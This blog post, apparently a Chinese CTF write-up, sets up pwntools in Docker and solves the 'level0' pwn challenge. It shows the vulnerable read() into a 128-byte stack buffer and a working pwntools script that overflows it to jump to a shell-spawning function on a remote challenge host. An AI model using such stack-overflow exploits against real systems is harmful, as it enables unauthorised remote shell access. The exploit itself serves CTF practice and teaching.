pwntools用docker实现,进行pwn题解答
文章目录
- pwntools环境
- 步骤一
- 步骤二
- level0
pwntools环境
这里我直接用docker环境,Ubuntu环境的docker建议看我这个https://blog.csdn.net/CSNN2019/article/details/119057956?spm=1001.2014.3001.5501,搞好环境之后,测试的时候,会报如下错误
经过我如下操作,即可解决这个报错
步骤一
修改docker镜像源,如果没有 daemon.json
就新建添加以下内容:
[ak666@ubuntu ~]# cd /etc/docker
[ak666@ubuntu docker]# ls
daemon.json key.json
[ak666@ubuntu docker]# vim daemon.json # 添加以下内容
{"registry-mirrors": ["http://hub-mirror.c.163.com"]}# 也可以添加多个国内源
{"registry-mirrors": ["http://hub-mirror.c.163.com", "https://registry.docker-cn.com"]}
步骤二
vi /etc/resolv.conf
,添加nameserver 8.8.8.8
以交互式的方式去运行pwntools
紧接着我import pwn
报错,只需要在pwntools中安装pathlib2模块就好
然后import pwn
成功然后需要进行映射:
需要把level0这个文件映射到pwntools环境下,当然直接映射目录。
/home/ak666/Desktop/CTF
目录
docker run -it -v /home/ak666/Desktop/CTF/:/home/pwntools/ /bin/bash
level0
sudo docker run -it -v /home/ak666/Desktop/CTF/:/home/pwntools pwntools/pwntools /bin/bash
把物理机中/home/ak666/Desktop/CTF/目录下的文件映射到docker中/home/pwntools下,后者可以随便写,因为无所谓。
这里用docker环境的话,我的docker中pwntools环境每次进去都需要安装pathlib2一遍(因为每次都是重启。需要写脚本然后映射到docker中pwntools环境中去,紧接着就是执行一波KO
ssize_t vulnerable_function()
{char buf[128]; // [rsp+0h] [rbp-80h] BYREFreturn read(0, buf, 0x200uLL);
}
长度为0x200字符,直接放入 仅有128字符长度的数组中(也就是栈中)。另外找到一个函数,直接获得一个shell,缓冲区溢出,就修改返回地址跳转到这里
# coding:utf-8
from pwn import *
r = remote("111.200.241.244",49201)#远程连接
payload = 'A' * 0x80 + 'a' * 0x8 + p64(0x00400596)
r.recvuntil("Hello, World\n")
r.sendline(payload)
r.interactive()
栈中数据首先是 返回地址 + ebp + 临时变量
,所以这里的8也就是覆盖原来的ebp
这里的话需要加第一行,不加的话报错如下:
SyntaxError: Non-ASCII character '\xe8' in file level0 on line 2, but no encoding declared; see http://python.org/dev/peps/pep-0263/ for details
pwntools用docker实现,进行pwn题解答相关推荐
- CTF比赛PWN题sgtlibc通用快速解题框架
CTF比赛PWN题sgtlibc通用快速解题框架 安装 开源地址:https://github.com/serfend/sgtlibc 使用 pip install sgtlibc -U 安装pwn解 ...
- CTF pwn题之格式化字符串漏洞详解
格式化字符串漏洞详解 概念 如何利用 基本利用方式讲解 常用payload总结 pwntools -- FmtStr类 求偏移 地址泄露 任意地址写 一个例子 总结 概念 格式化字符串漏洞的成因在 ...
- 谢惠民恽自求易法槐钱定边数学分析习题课讲义思考题练习题参考题解答
谢惠民恽自求易法槐钱定边数学分析习题课讲义思考题练习题参考题解答. 见 http://www.cnblogs.com/zhangzujin/p/3527416.html 上册全部习题, 思考题, 参考 ...
- 谢惠民恽自求易法槐钱定边数学分析习题课讲义第2版上册全部思考题练习题参考题解答...
谢惠民恽自求易法槐钱定边数学分析习题课讲义第2版上册全部思考题练习题参考题解答. 需要的话请移步家里蹲大学数学杂志官方网站. 第9章及以前的采用的引用的方法. 就是 Latex 中会用 \cite, ...
- 初中数学题目(勾股定理) - 第一小题解答
§01 第一小题 图1是我国古代著名的"赵爽弦图"的示意图,它是由四个全等的直角三角形围成的.若 A C = 6 AC=6 AC=6, B C = 5 BC=5 BC=5,将四 ...
- pwn在matlab中怎么搭建,PWN题搭建
0x00.准备题目 例如:level.c #include #include int main(){ char buffer[0x10] ={0}; setvbuf(stdout, NULL, _IO ...
- 计算机二级Python历年真题解答(第四套)
计算机二级Python历年真题解答(第四套) 写在前面 基础操作 1-1 1-2 1-3 简单应用 2-1 2-2 综合应用 3-1 3-2 3-3 写在前面 代码与参考答案不一定相同,但结果一致,真 ...
- pwn题堆利用的一些姿势 -- IO_FILE
IO_FILE 概述 IO_FILE结构介绍 利用_fileno字段 原理分析 一个例子 利用IO_FILE进行leak 原理分析 一个例子 FSOP 原理分析 一个例子 总结 pwn题堆利用的一些姿 ...
- 2022年7月份模拟考题-附加题解答
2022年7月份模拟考题-附加题解答 Extra Question 1 | Find Pods first to be terminated Use context: kubectl config u ...
最新文章
- win7修改网络计算机名字,小编分析win7系统修改计算机名字的操作方法
- 首个测试博客搜索引擎等你来体验!
- chromedriver与chrome版本映射表
- 京东三级列表页持续架构优化—前端优化实践
- mysql隔离级别 举例_mysql的事务隔离级别举例
- 对官方Mutexes的翻译
- Netty工作笔记0015---MappedByteBuffer使用
- 9.2. FreeSWITCH
- Brettle.Web.NeatUpload.dll大文件上传控件使用详解
- pl/sql 存储过程实例
- 【计算机网络】HTTP 协议详解
- 推荐系列:易文档,让接口文档更加给力
- html 蜂巢布局,css3类似蜂巢网格布局样式代码
- @Required用法
- 佐治亚大学计算机科学与工程,2019上海软科世界一流学科排名计算机科学与工程专业排名佐治亚大学排名第401-500...
- MT7603处理器性能,MT7603 wifi芯片介绍
- 删除win10桌面IE浏览器图标
- 2022年全球与中国烟酰胺单核苷酸(NMN)市场现状及未来发展趋势
- Error(1.0.5 1107071739): D:\SAE_SDK_Windows_1.0.5\apps\/divjs/1/config.yaml is not existed解决方法...
- java思想编程kindle版电子书下载,讲的太清楚了
热门文章
- ae万能弹性表达式_外置常用ae插件 快速掌握AE软件的精髓
- 成功解决CatBoostError: Invalid type for cat_feature cat_features must be integer or string, real number
- ML之FE:数据随机抽样之利用pandas的sample函数对超大样本的数据集进行随机采样,并另存为csv文件
- Computer:局域网内多台电脑共享文件夹图文教程之详细攻略
- 成功解决VS编译环境下C++语言出现的异常提示:烫烫烫烫烫烫烫烫烫烫
- 两个inline-block消除间距和对齐(vertical-align)
- JSON总结(java篇)
- 如何解决IIS7上传文件大小限制【转】
- 咨微关于企业信息门户的设想
- .Net新手☞数据库操作